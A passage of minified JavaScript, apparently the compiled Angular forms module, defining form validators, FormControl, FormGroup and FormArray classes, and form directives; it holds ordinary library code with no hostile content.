RegExp(n)):(n=t.toString(),e=t),t=>{if(f(t.value))return null;const i=t.value;return e.test(i)?null:{pattern:{requiredPattern:n,actualValue:i}}}}function E(t){return null}function k(t){return null!=t}function T(t){const e=(0,i.QGY)(t)?(0,r.D)(t):t;return(0,i.CqO)(e),e}function A(t){let e={};return t.forEach(t=>{e=null!=t?Object.assign(Object.assign({},e),t):e}),0===Object.keys(e).length?null:e}function I(t,e){return e.map(e=>e(t))}function O(t){return t.map(t=>function(t){return!t.validate}(t)?t:e=>t.validate(e))}function R(t){if(!t)return null;const e=t.filter(k);return 0==e.length?null:function(t){return A(I(t,e))}}function P(t){return null!=t?R(O(t)):null}function N(t){if(!t)return null;const e=t.filter(k);return 0==e.length?null:function(t){const n=I(t,e).map(T);return(0,o.D)(n).pipe((0,a.U)(A))}}function D(t){return null!=t?N(O(t)):null}function L(t,e){return null===t?[e]:Array.isArray(t)?[...t,e]:[t,e]}function M(t){return t._rawValidators}function F(t){return t._rawAsyncValidators}function U(t){return t?Array.isArray(t)?t:[t]:[]}function B(t,e){return Array.isArray(t)?t.includes(e):t===e}function j(t,e){const n=U(e);return U(t).forEach(t=>{B(n,t)||n.push(t)}),n}function H(t,e){return U(e).filter(e=>!B(t,e))}let V=(()=>{class t{constructor(){this._rawValidators=[],this._rawAsyncValidators=[],this._onDestroyCallbacks=[]}get value(){return this.control?this.control.value:null}get valid(){return this.control?this.control.valid:null}get invalid(){return this.control?this.control.invalid:null}get pending(){return this.control?this.control.pending:null}get disabled(){return this.control?this.control.disabled:null}get enabled(){return this.control?this.control.enabled:null}get errors(){return this.control?this.control.errors:null}get pristine(){return this.control?this.control.pristine:null}get dirty(){return this.control?this.control.dirty:null}get touched(){return this.control?this.control.touched:null}get status(){return this.control?this.control.status:null}get untouched(){return this.control?this.control.untouched:null}get statusChanges(){return this.control?this.control.statusChanges:null}get valueChanges(){return this.control?this.control.valueChanges:null}get path(){return null}_setValidators(t){this._rawValidators=t||[],this._composedValidatorFn=P(this._rawValidators)}_setAsyncValidators(t){this._rawAsyncValidators=t||[],this._composedAsyncValidatorFn=D(this._rawAsyncValidators)}get validator(){return this._composedValidatorFn||null}get asyncValidator(){return this._composedAsyncValidatorFn||null}_registerOnDestroy(t){this._onDestroyCallbacks.push(t)}_invokeOnDestroyCallbacks(){this._onDestroyCallbacks.forEach(t=>t()),this._onDestroyCallbacks=[]}reset(t){this.control&&this.control.reset(t)}hasError(t,e){return!!this.control&&this.control.hasError(t,e)}getError(t,e){return this.control?this.control.getError(t,e):null}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=i.lG2({type:t}),t})(),G=(()=>{class t extends V{get formDirective(){return null}get path(){return null}}return t.\u0275fac=function(){let e;return function(n){return(e||(e=i.n5z(t)))(n||t)}}(),t.\u0275dir=i.lG2({type:t,features:[i.qOj]}),t})();class Y extends V{constructor(){super(...arguments),this._parent=null,this.name=null,this.valueAccessor=null}}class q{constructor(t){this._cd=t}is(t){var e,n,i;return"submitted"===t?!!(null===(e=this._cd)||void 0===e?void 0:e.submitted):!!(null===(i=null===(n=this._cd)||void 0===n?void 0:n.control)||void 0===i?void 0:i[t])}}let $=(()=>{class t extends q{constructor(t){super(t)}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(Y,2))},t.\u0275dir=i.lG2({type:t,selectors:[["","formControlName",""],["","ngModel",""],["","formControl",""]],hostVars:14,hostBindings:function(t,e){2&t&&i.ekj("ng-untouched",e.is("untouched"))("ng-touched",e.is("touched"))("ng-pristine",e.is("pristine"))("ng-dirty",e.is("dirty"))("ng-valid",e.is("valid"))("ng-invalid",e.is("invalid"))("ng-pending",e.is("pending"))},features:[i.qOj]}),t})(),z=(()=>{class t extends q{constructor(t){super(t)}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(G,10))},t.\u0275dir=i.lG2({type:t,selectors:[["","formGroupName",""],["","formArrayName",""],["","ngModelGroup",""],["","formGroup",""],["form",3,"ngNoForm",""],["","ngForm",""]],hostVars:16,hostBindings:function(t,e){2&t&&i.ekj("ng-untouched",e.is("untouched"))("ng-touched",e.is("touched"))("ng-pristine",e.is("pristine"))("ng-dirty",e.is("dirty"))("ng-valid",e.is("valid"))("ng-invalid",e.is("invalid"))("ng-pending",e.is("pending"))("ng-submitted",e.is("submitted"))},features:[i.qOj]}),t})();function Z(t,e){Q(t,e),e.valueAccessor.writeValue(t.value),function(t,e){e.valueAccessor.registerOnChange(n=>{t._pendingValue=n,t._pendingChange=!0,t._pendingDirty=!0,"change"===t.updateOn&&X(t,e)})}(t,e),function(t,e){const n=(t,n)=>{e.valueAccessor.writeValue(t),n&&e.viewToModelUpdate(t)};t.registerOnChange(n),e._registerOnDestroy(()=>{t._unregisterOnChange(n)})}(t,e),function(t,e){e.valueAccessor.registerOnTouched(()=>{t._pendingTouched=!0,"blur"===t.updateOn&&t._pendingChange&&X(t,e),"submit"!==t.updateOn&&t.markAsTouched()})}(t,e),function(t,e){if(e.valueAccessor.setDisabledState){const n=t=>{e.valueAccessor.setDisabledState(t)};t.registerOnDisabledChange(n),e._registerOnDestroy(()=>{t._unregisterOnDisabledChange(n)})}}(t,e)}function W(t,e,n=!0){const i=()=>{};e.valueAccessor&&(e.valueAccessor.registerOnChange(i),e.valueAccessor.registerOnTouched(i)),K(t,e),t&&(e._invokeOnDestroyCallbacks(),t._registerOnCollectionChange(()=>{}))}function J(t,e){t.forEach(t=>{t.registerOnValidatorChange&&t.registerOnValidatorChange(e)})}function Q(t,e){const n=M(t);null!==e.validator?t.setValidators(L(n,e.validator)):"function"==typeof n&&t.setValidators([n]);const i=F(t);null!==e.asyncValidator?t.setAsyncValidators(L(i,e.asyncValidator)):"function"==typeof i&&t.setAsyncValidators([i]);const s=()=>t.updateValueAndValidity();J(e._rawValidators,s),J(e._rawAsyncValidators,s)}function K(t,e){let n=!1;if(null!==t){if(null!==e.validator){const i=M(t);if(Array.isArray(i)&&i.length>0){const s=i.filter(t=>t!==e.validator);s.length!==i.length&&(n=!0,t.setValidators(s))}}if(null!==e.asyncValidator){const i=F(t);if(Array.isArray(i)&&i.length>0){const s=i.filter(t=>t!==e.asyncValidator);s.length!==i.length&&(n=!0,t.setAsyncValidators(s))}}}const i=()=>{};return J(e._rawValidators,i),J(e._rawAsyncValidators,i),n}function X(t,e){t._pendingDirty&&t.markAsDirty(),t.setValue(t._pendingValue,{emitModelToViewChange:!1}),e.viewToModelUpdate(t._pendingValue),t._pendingChange=!1}function tt(t,e){Q(t,e)}function et(t,e){if(!t.hasOwnProperty("model"))return!1;const n=t.model;return!!n.isFirstChange()||!Object.is(e,n.currentValue)}function nt(t,e){t._syncPendingControls(),e.forEach(t=>{const e=t.control;"submit"===e.updateOn&&e._pendingChange&&(t.viewToModelUpdate(e._pendingValue),e._pendingChange=!1)})}function it(t,e){if(!e)return null;let n,i,s;return Array.isArray(e),e.forEach(t=>{t.constructor===p?n=t:function(t){return Object.getPrototypeOf(t.constructor)===l}(t)?i=t:s=t}),s||i||n||null}function st(t,e){const n=t.indexOf(e);n>-1&&t.splice(n,1)}const rt="VALID",ot="INVALID",at="PENDING",ct="DISABLED";function lt(t){return(pt(t)?t.validators:t)||null}function ut(t){return Array.isArray(t)?P(t):t||null}function ht(t,e){return(pt(e)?e.asyncValidators:t)||null}function dt(t){return Array.isArray(t)?D(t):t||null}function pt(t){return null!=t&&!Array.isArray(t)&&"object"==typeof t}class ft{constructor(t,e){this._hasOwnPendingAsyncValidator=!1,this._onCollectionChange=()=>{},this._parent=null,this.pristine=!0,this.touched=!1,this._onDisabledChange=[],this._rawValidators=t,this._rawAsyncValidators=e,this._composedValidatorFn=ut(this._rawValidators),this._composedAsyncValidatorFn=dt(this._rawAsyncValidators)}get validator(){return this._composedValidatorFn}set validator(t){this._rawValidators=this._composedValidatorFn=t}get asyncValidator(){return this._composedAsyncValidatorFn}set asyncValidator(t){this._rawAsyncValidators=this._composedAsyncValidatorFn=t}get parent(){return this._parent}get valid(){return this.status===rt}get invalid(){return this.status===ot}get pending(){return this.status==at}get disabled(){return this.status===ct}get enabled(){return this.status!==ct}get dirty(){return!this.pristine}get untouched(){return!this.touched}get updateOn(){return this._updateOn?this._updateOn:this.parent?this.parent.updateOn:"change"}setValidators(t){this._rawValidators=t,this._composedValidatorFn=ut(t)}setAsyncValidators(t){this._rawAsyncValidators=t,this._composedAsyncValidatorFn=dt(t)}addValidators(t){this.setValidators(j(t,this._rawValidators))}addAsyncValidators(t){this.setAsyncValidators(j(t,this._rawAsyncValidators))}removeValidators(t){this.setValidators(H(t,this._rawValidators))}removeAsyncValidators(t){this.setAsyncValidators(H(t,this._rawAsyncValidators))}hasValidator(t){return B(this._rawValidators,t)}hasAsyncValidator(t){return B(this._rawAsyncValidators,t)}clearValidators(){this.validator=null}clearAsyncValidators(){this.asyncValidator=null}markAsTouched(t={}){this.touched=!0,this._parent&&!t.onlySelf&&this._parent.markAsTouched(t)}markAllAsTouched(){this.markAsTouched({onlySelf:!0}),this._forEachChild(t=>t.markAllAsTouched())}markAsUntouched(t={}){this.touched=!1,this._pendingTouched=!1,this._forEachChild(t=>{t.markAsUntouched({onlySelf:!0})}),this._parent&&!t.onlySelf&&this._parent._updateTouched(t)}markAsDirty(t={}){this.pristine=!1,this._parent&&!t.onlySelf&&this._parent.markAsDirty(t)}markAsPristine(t={}){this.pristine=!0,this._pendingDirty=!1,this._forEachChild(t=>{t.markAsPristine({onlySelf:!0})}),this._parent&&!t.onlySelf&&this._parent._updatePristine(t)}markAsPending(t={}){this.status=at,!1!==t.emitEvent&&this.statusChanges.emit(this.status),this._parent&&!t.onlySelf&&this._parent.markAsPending(t)}disable(t={}){const e=this._parentMarkedDirty(t.onlySelf);this.status=ct,this.errors=null,this._forEachChild(e=>{e.disable(Object.assign(Object.assign({},t),{onlySelf:!0}))}),this._updateValue(),!1!==t.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._updateAncestors(Object.assign(Object.assign({},t),{skipPristineCheck:e})),this._onDisabledChange.forEach(t=>t(!0))}enable(t={}){const e=this._parentMarkedDirty(t.onlySelf);this.status=rt,this._forEachChild(e=>{e.enable(Object.assign(Object.assign({},t),{onlySelf:!0}))}),this.updateValueAndValidity({onlySelf:!0,emitEvent:t.emitEvent}),this._updateAncestors(Object.assign(Object.assign({},t),{skipPristineCheck:e})),this._onDisabledChange.forEach(t=>t(!1))}_updateAncestors(t){this._parent&&!t.onlySelf&&(this._parent.updateValueAndValidity(t),t.skipPristineCheck||this._parent._updatePristine(),this._parent._updateTouched())}setParent(t){this._parent=t}updateValueAndValidity(t={}){this._setInitialStatus(),this._updateValue(),this.enabled&&(this._cancelExistingSubscription(),this.errors=this._runValidator(),this.status=this._calculateStatus(),(this.status===rt||this.status===at)&&this._runAsyncValidator(t.emitEvent)),!1!==t.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._parent&&!t.onlySelf&&this._parent.updateValueAndValidity(t)}_updateTreeValidity(t={emitEvent:!0}){this._forEachChild(e=>e._updateTreeValidity(t)),this.updateValueAndValidity({onlySelf:!0,emitEvent:t.emitEvent})}_setInitialStatus(){this.status=this._allControlsDisabled()?ct:rt}_runValidator(){return this.validator?this.validator(this):null}_runAsyncValidator(t){if(this.asyncValidator){this.status=at,this._hasOwnPendingAsyncValidator=!0;const e=T(this.asyncValidator(this));this._asyncValidationSubscription=e.subscribe(e=>{this._hasOwnPendingAsyncValidator=!1,this.setErrors(e,{emitEvent:t})})}}_cancelExistingSubscription(){this._asyncValidationSubscription&&(this._asyncValidationSubscription.unsubscribe(),this._hasOwnPendingAsyncValidator=!1)}setErrors(t,e={}){this.errors=t,this._updateControlsErrors(!1!==e.emitEvent)}get(t){return function(t,e,n){if(null==e||(Array.isArray(e)||(e=e.split(".")),Array.isArray(e)&&0===e.length))return null;let i=t;return e.forEach(t=>{i=i instanceof gt?i.controls.hasOwnProperty(t)?i.controls[t]:null:i instanceof _t&&i.at(t)||null}),i}(this,t)}getError(t,e){const n=e?this.get(e):this;return n&&n.errors?n.errors[t]:null}hasError(t,e){return!!this.getError(t,e)}get root(){let t=this;for(;t._parent;)t=t._parent;return t}_updateControlsErrors(t){this.status=this._calculateStatus(),t&&this.statusChanges.emit(this.status),this._parent&&this._parent._updateControlsErrors(t)}_initObservables(){this.valueChanges=new i.vpe,this.statusChanges=new i.vpe}_calculateStatus(){return this._allControlsDisabled()?ct:this.errors?ot:this._hasOwnPendingAsyncValidator||this._anyControlsHaveStatus(at)?at:this._anyControlsHaveStatus(ot)?ot:rt}_anyControlsHaveStatus(t){return this._anyControls(e=>e.status===t)}_anyControlsDirty(){return this._anyControls(t=>t.dirty)}_anyControlsTouched(){return this._anyControls(t=>t.touched)}_updatePristine(t={}){this.pristine=!this._anyControlsDirty(),this._parent&&!t.onlySelf&&this._parent._updatePristine(t)}_updateTouched(t={}){this.touched=this._anyControlsTouched(),this._parent&&!t.onlySelf&&this._parent._updateTouched(t)}_isBoxedValue(t){return"object"==typeof t&&null!==t&&2===Object.keys(t).length&&"value"in t&&"disabled"in t}_registerOnCollectionChange(t){this._onCollectionChange=t}_setUpdateStrategy(t){pt(t)&&null!=t.updateOn&&(this._updateOn=t.updateOn)}_parentMarkedDirty(t){return!t&&!(!this._parent||!this._parent.dirty)&&!this._parent._anyControlsDirty()}}class mt extends ft{constructor(t=null,e,n){super(lt(e),ht(n,e)),this._onChange=[],this._applyFormState(t),this._setUpdateStrategy(e),this._initObservables(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}setValue(t,e={}){this.value=this._pendingValue=t,this._onChange.length&&!1!==e.emitModelToViewChange&&this._onChange.forEach(t=>t(this.value,!1!==e.emitViewToModelChange)),this.updateValueAndValidity(e)}patchValue(t,e={}){this.setValue(t,e)}reset(t=null,e={}){this._applyFormState(t),this.markAsPristine(e),this.markAsUntouched(e),this.setValue(this.value,e),this._pendingChange=!1}_updateValue(){}_anyControls(t){return!1}_allControlsDisabled(){return this.disabled}registerOnChange(t){this._onChange.push(t)}_unregisterOnChange(t){st(this._onChange,t)}registerOnDisabledChange(t){this._onDisabledChange.push(t)}_unregisterOnDisabledChange(t){st(this._onDisabledChange,t)}_forEachChild(t){}_syncPendingControls(){return!("submit"!==this.updateOn||(this._pendingDirty&&this.markAsDirty(),this._pendingTouched&&this.markAsTouched(),!this._pendingChange)||(this.setValue(this._pendingValue,{onlySelf:!0,emitModelToViewChange:!1}),0))}_applyFormState(t){this._isBoxedValue(t)?(this.value=this._pendingValue=t.value,t.disabled?this.disable({onlySelf:!0,emitEvent:!1}):this.enable({onlySelf:!0,emitEvent:!1})):this.value=this._pendingValue=t}}class gt extends ft{constructor(t,e,n){super(lt(e),ht(n,e)),this.controls=t,this._initObservables(),this._setUpdateStrategy(e),this._setUpControls(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}registerControl(t,e){return this.controls[t]?this.controls[t]:(this.controls[t]=e,e.setParent(this),e._registerOnCollectionChange(this._onCollectionChange),e)}addControl(t,e,n={}){this.registerControl(t,e),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}removeControl(t,e={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),delete this.controls[t],this.updateValueAndValidity({emitEvent:e.emitEvent}),this._onCollectionChange()}setControl(t,e,n={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),delete this.controls[t],e&&this.registerControl(t,e),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}contains(t){return this.controls.hasOwnProperty(t)&&this.controls[t].enabled}setValue(t,e={}){this._checkAllValuesPresent(t),Object.keys(t).forEach(n=>{this._throwIfControlMissing(n),this.controls[n].setValue(t[n],{onlySelf:!0,emitEvent:e.emitEvent})}),this.updateValueAndValidity(e)}patchValue(t,e={}){null!=t&&(Object.keys(t).forEach(n=>{this.controls[n]&&this.controls[n].patchValue(t[n],{onlySelf:!0,emitEvent:e.emitEvent})}),this.updateValueAndValidity(e))}reset(t={},e={}){this._forEachChild((n,i)=>{n.reset(t[i],{onlySelf:!0,emitEvent:e.emitEvent})}),this._updatePristine(e),this._updateTouched(e),this.updateValueAndValidity(e)}getRawValue(){return this._reduceChildren({},(t,e,n)=>(t[n]=e instanceof mt?e.value:e.getRawValue(),t))}_syncPendingControls(){let t=this._reduceChildren(!1,(t,e)=>!!e._syncPendingControls()||t);return t&&this.updateValueAndValidity({onlySelf:!0}),t}_throwIfControlMissing(t){if(!Object.keys(this.controls).length)throw new Error("\n        There are no form controls registered with this group yet. If you're using ngModel,\n        you may want to check next tick (e.g. use setTimeout).\n      ");if(!this.controls[t])throw new Error(`Cannot find form control with name: ${t}.`)}_forEachChild(t){Object.keys(this.controls).forEach(e=>{const n=this.controls[e];n&&t(n,e)})}_setUpControls(){this._forEachChild(t=>{t.setParent(this),t._registerOnCollectionChange(this._onCollectionChange)})}_updateValue(){this.value=this._reduceValue()}_anyControls(t){for(const e of Object.keys(this.controls)){const n=this.controls[e];if(this.contains(e)&&t(n))return!0}return!1}_reduceValue(){return this._reduceChildren({},(t,e,n)=>((e.enabled||this.disabled)&&(t[n]=e.value),t))}_reduceChildren(t,e){let n=t;return this._forEachChild((t,i)=>{n=e(n,t,i)}),n}_allControlsDisabled(){for(const t of Object.keys(this.controls))if(this.controls[t].enabled)return!1;return Object.keys(this.controls).length>0||this.disabled}_checkAllValuesPresent(t){this._forEachChild((e,n)=>{if(void 0===t[n])throw new Error(`Must supply a value for form control with name: '${n}'.`)})}}class _t extends ft{constructor(t,e,n){super(lt(e),ht(n,e)),this.controls=t,this._initObservables(),this._setUpdateStrategy(e),this._setUpControls(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}at(t){return this.controls[t]}push(t,e={}){this.controls.push(t),this._registerControl(t),this.updateValueAndValidity({emitEvent:e.emitEvent}),this._onCollectionChange()}insert(t,e,n={}){this.controls.splice(t,0,e),this._registerControl(e),this.updateValueAndValidity({emitEvent:n.emitEvent})}removeAt(t,e={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),this.controls.splice(t,1),this.updateValueAndValidity({emitEvent:e.emitEvent})}setControl(t,e,n={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),this.controls.splice(t,1),e&&(this.controls.splice(t,0,e),this._registerControl(e)),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}get length(){return this.controls.length}setValue(t,e={}){this._checkAllValuesPresent(t),t.forEach((t,n)=>{this._throwIfControlMissing(n),this.at(n).setValue(t,{onlySelf:!0,emitEvent:e.emitEvent})}),this.updateValueAndValidity(e)}patchValue(t,e={}){null!=t&&(t.forEach((t,n)=>{this.at(n)&&this.at(n).patchValue(t,{onlySelf:!0,emitEvent:e.emitEvent})}),this.updateValueAndValidity(e))}reset(t=[],e={}){this._forEachChild((n,i)=>{n.reset(t[i],{onlySelf:!0,emitEvent:e.emitEvent})}),this._updatePristine(e),this._updateTouched(e),this.updateValueAndValidity(e)}getRawValue(){return this.controls.map(t=>t instanceof mt?t.value:t.getRawValue())}clear(t={}){this.controls.length<1||(this._forEachChild(t=>t._registerOnCollectionChange(()=>{})),this.controls.splice(0),this.updateValueAndValidity({emitEvent:t.emitEvent}))}_syncPendingControls(){let t=this.controls.reduce((t,e)=>!!e._syncPendingControls()||t,!1);return t&&this.updateValueAndValidity({onlySelf:!0}),t}_throwIfControlMissing(t){if(!this.controls.length)throw new Error("\n        There are no form controls registered with this array yet. If you're using ngModel,\n        you may want to check next tick (e.g. use setTimeout).\n      ");if(!this.at(t))throw new Error(`Cannot find form control at index ${t}`)}_forEachChild(t){this.controls.forEach((e,n)=>{t(e,n)})}_updateValue(){this.value=this.controls.filter(t=>t.enabled||this.disabled).map(t=>t.value)}_anyControls(t){return this.controls.some(e=>e.enabled&&t(e))}_setUpControls(){this._forEachChild(t=>this._registerControl(t))}_checkAllValuesPresent(t){this._forEachChild((e,n)=>{if(void 0===t[n])throw new Error(`Must supply a value for form control at index: ${n}.`)})}_allControlsDisabled(){for(const t of this.controls)if(t.enabled)return!1;return this.controls.length>0||this.disabled}_registerControl(t){t.setParent(this),t._registerOnCollectionChange(this._onCollectionChange)}}const vt={provide:G,useExisting:(0,i.Gpc)(()=>yt)},bt=(()=>Promise.resolve(null))();let yt=(()=>{class t extends G{constructor(t,e){super(),this.submitted=!1,this._directives=[],this.ngSubmit=new i.vpe,this.form=new gt({},P(t),D(e))}ngAfterViewInit(){this._setUpdateStrategy()}get formDirective(){return this}get control(){return this.form}get path(){return[]}get controls(){return this.form.controls}addControl(t){bt.then(()=>{const e=this._findContainer(t.path);t.control=e.registerControl(t.name,t.control),Z(t.control,t),t.control.updateValueAndValidity({emitEvent:!1}),this._directives.push(t)})}getControl(t){return this.form.get(t.path)}removeControl(t){bt.then(()=>{const e=this._findContainer(t.path);e&&e.removeControl(t.name),st(this._directives,t)})}addFormGroup(t){bt.then(()=>{const e=this._findContainer(t.path),n=new gt({});tt(n,t),e.registerControl(t.name,n),n.updateValueAndValidity({emitEvent:!1})})}removeFormGroup(t){bt.then(()=>{const e=this._findContainer(t.path);e&&e.removeControl(t.name)})}getFormGroup(t){return this.form.get(t.path)}updateModel(t,e){bt.then(()=>{this.form.get(t.path).setValue(e)})}setValue(t){this.control.setValue(t)}onSubmit(t){return this.submitted=!0,nt(this.form,this._directives),this.ngSubmit.emit(t),!1}onReset(){this.resetForm()}resetForm(t){this.form.reset(t),this.submitted=!1}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.form._updateOn=this.options.updateOn)}_findContainer(t){return t.pop(),t.length?this.form.get(t):this.form}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(g,10),i.Y36(_,10))},t.\u0275dir=i.lG2({type:t,selectors:[["form",3,"ngNoForm","",3,"formGroup",""],["ng-form"],["","ngForm",""]],hostBindings:function(t,e){1&t&&i.NdJ("submit",function(t){return e.onSubmit(t)})("reset",function(){return e.onReset()})},inputs:{options:["ngFormOptions","options"]},outputs:{ngSubmit:"ngSubmit"},exportAs:["ngForm"],features:[i._Bn([vt]),i.qOj]}),t})(),wt=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=i.lG2({type:t,selectors:[["form",3,"ngNoForm","",3,"ngNativeValidate",""]],hostAttrs:["novalidate",""]}),t})(),xt=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({}),t})();const Ct=new i.OlP("NgModelWithFormControlWarning"),St={provide:Y,useExisting:(0,i.Gpc)(()=>Et)};let Et=(()=>{class t extends Y{constructor(t,e,n,s){super(),this._ngModelWarningConfig=s,this.update=new i.vpe,this._ngModelWarningSent=!1,this._setValidators(t),this._setAsyncValidators(e),this.valueAccessor=it(0,n)}set isDisabled(t){}ngOnChanges(t){if(this._isControlChanged(t)){const e=t.form.previousValue;e&&W(e,this,!1),Z(this.form,this),this.control.disabled&&this.valueAccessor.setDisabledState&&this.valueAccessor.setDisabledState(!0),this.form.updateValueAndValidity({emitEvent:!1})}et(t,this.viewModel)&&(this.form.setValue(this.model),this.viewModel=this.model)}ngOnDestroy(){this.form&&W(this.form,this,!1)}get path(){return[]}get control(){return this.form}viewToModelUpdate(t){this.viewModel=t,this.update.emit(t)}_isControlChanged(t){return t.hasOwnProperty("form")}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(g,10),i.Y36(_,10),i.Y36(u,10),i.Y36(Ct,8))},t.\u0275dir=i.lG2({type:t,selectors:[["","formControl",""]],inputs:{isDisabled:["disabled","isDisabled"],form:["formControl","form"],model:["ngModel","model"]},outputs:{update:"ngModelChange"},exportAs:["ngForm"],features:[i._Bn([St]),i.qOj,i.TTD]}),t._ngModelWarningSentOnce=!1,t})();const kt={provide:G,useExisting:(0,i.Gpc)(()=>Tt)};let Tt=(()=>{class t extends G{constructor(t,e){super(),this.validators=t,this.asyncValidators=e,this.submitted=!1,this._onCollectionChange=()=>this._updateDomValue(),this.directives=[],this.form=null,this.ngSubmit=new i.vpe,this._setValidators(t),this._setAsyncValidators(e)}ngOnChanges(t){this._checkFormPresent(),t.hasOwnProperty("form")&&(this._updateValidators(),this._updateDomValue(),this._updateRegistrations(),this._oldForm=this.form)}ngOnDestroy(){this.form&&(K(this.form,this),this.form._onCollectionChange===this._onCollectionChange&&this.form._registerOnCollectionChange(()=>{}))}get formDirective(){return this}get control(){return this.form}get path(){return[]}addControl(t){const e=this.form.get(t.path);return Z(e,t),e.updateValueAndValidity({emitEvent:!1}),this.directives.push(t),e}getControl(t){return this.form.get(t.path)}removeControl(t){W(t.control||null,t,!1),st(this.directives,t)}addFormGroup(t){this._setUpFormContainer(t)}removeFormGroup(t){this._cleanUpFormContainer(t)}getFormGroup(t){return this.form.get(t.path)}addFormArray(t){this._setUpFormContainer(t)}removeFormArray(t){this._cleanUpFormContainer(t)}getFormArray(t){return this.form.get(t.path)}updateModel(t,e){this.form.get(t.path).setValue(e)}onSubmit(t){return this.submitted=!0,nt(this.form,this.directives),this.ngSubmit.emit(t),!1}onReset(){this.resetForm()}resetForm(t){this.form.reset(t),this.submitted=!1}_updateDomValue(){this.directives.forEach(t=>{const e=t.control,n=this.form.get(t.path);e!==n&&(W(e||null,t),n instanceof mt&&(Z(n,t),t.control=n))}),this.form._updateTreeValidity({emitEvent:!1})}_setUpFormContainer(t){const e=this.form.get(t.path);tt(e,t),e.updateValueAndValidity({emitEvent:!1})}_cleanUpFormContainer(t){if(this.form){const e=this.form.get(t.path);e&&function(t,e){return K(t,e)}(e,t)&&e.updateValueAndValidity({emitEvent:!1})}}_updateRegistrations(){this.form._registerOnCollectionChange(this._onCollectionChange),this._oldForm&&this._oldForm._registerOnCollectionChange(()=>{})}_updateValidators(){Q(this.form,this),this._oldForm&&K(this._oldForm,this)}_checkFormPresent(){}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(g,10),i.Y36(_,10))},t.\u0275dir=i.lG2({type:t,selectors:[["","formGroup",""]],hostBindings:function(t,e){1&t&&i.NdJ("submit",function(t){return e.onSubmit(t)})("reset",function(){return e.onReset()})},inputs:{form:["formGroup","form"]},outputs:{ngSubmit:"ngSubmit"},exportAs:["ngForm"],features:[i._Bn([kt]),i.qOj,i.TTD]}),t})();const At={provide:Y,useExisting:(0,i.Gpc)(()=>It)};let It=(()=>{class t extends Y{constructor(t,e,n,s,r){super(),this._ngModelWarningConfig=r,this._added=!1,this.update=new i.vpe,this._ngModelWarningSent=!1,this._parent=t,this._setValidators(e),this._setAsyncValidators(n),this.valueAccessor=it(0,s)}set isDisabled(t){}ngOnChanges(t){this._added||this._setUpControl(),et(t,this.viewModel)&&(this.viewModel=this.model,this.formDirective.updateModel(this,this.model))}ngOnDestroy(){this.formDirective&&this.formDirective.removeControl(this)}viewToModelUpdate(t){this.viewModel=t,this.update.emit(t)}get path(){return function(t,e){return[...e.path,t]}(null==this.name?this.name:this.name.toString(),this._parent)}get formDirective(){return this._parent?this._parent.formDirective:null}_checkParentType(){}_setUpControl(){this._checkParentType(),this.control=this.formDirective.addControl(this),this.control.disabled&&this.valueAccessor.setDisabledState&&this.valueAccessor.setDisabledState(!0),this._added=!0}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(G,13),i.Y36(g,10),i.Y36(_,10),i.Y36(u,10),i.Y36(Ct,8))},t.\u0275dir=i.lG2({type:t,selectors:[["","formControlName",""]],inputs:{isDisabled:["disabled","isDisabled"],name:["formControlName","name"],model:["ngModel","model"]},outputs:{update:"ngModelChange"},features:[i._Bn([At]),i.qOj,i.TTD]}),t._ngModelWarningSentOnce=!1,t})();function Ot(t){return"number"==typeof t?t:parseInt(t,10)}const Rt={provide:g,useExisting:(0,i.Gpc)(()=>Nt),multi:!0},Pt={provide:g,useExisting:(0,i.Gpc)(()=>Dt),multi:!0};let Nt=(()=>{class t{constructor(){this._required=!1}get required(){return this._required}set required(t){this._required=null!=t&&!1!==t&&"false"!=`${t}`,this._onChange&&this._onChange()}validate(t){return this.required?y(t):null}registerOnValidatorChange(t){this._onChange=t}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=i.lG2({type:t,selectors:[["","required","","formControlName","",3,"type","checkbox"],["","required","","formControl","",3,"type","checkbox"],["","required","","ngModel","",3,"type","checkbox"]],hostVars:1,hostBindings:function(t,e){2&t&&i.uIk("required",e.required?"":null)},inputs:{required:"required"},features:[i._Bn([Rt])]}),t})(),Dt=(()=>{class t extends Nt{validate(t){return this.required?w(t):null}}return t.\u0275fac=function(){let e;return function(n){return(e||(e=i.n5z(t)))(n||t)}}(),t.\u0275dir=i.lG2({type:t,selectors:[["input","type","checkbox","required","","formControlName",""],["input","type","checkbox","required","","formControl",""],["input","type","checkbox","required","","ngModel",""]],hostVars:1,hostBindings:function(t,e){2&t&&i.uIk("required",e.required?"":null)},features:[i._Bn([Pt]),i.qOj]}),t})();const Lt={provide:g,useExisting:(0,i.Gpc)(()=>Mt),multi:!0};let Mt=(()=>{class t{constructor(){this._validator=E}ngOnChanges(t){"minlength"in t&&(this._createValidator(),this._onChange&&this._onChange())}validate(t){return this.enabled()?this._validator(t):null}registerOnValidatorChange(t){this._onChange=t}_createValidator(){this._validator=this.enabled()?x(Ot(this.minlength)):E}enabled(){return null!=this.minlength}}return t.\u0275fac=function(e){return 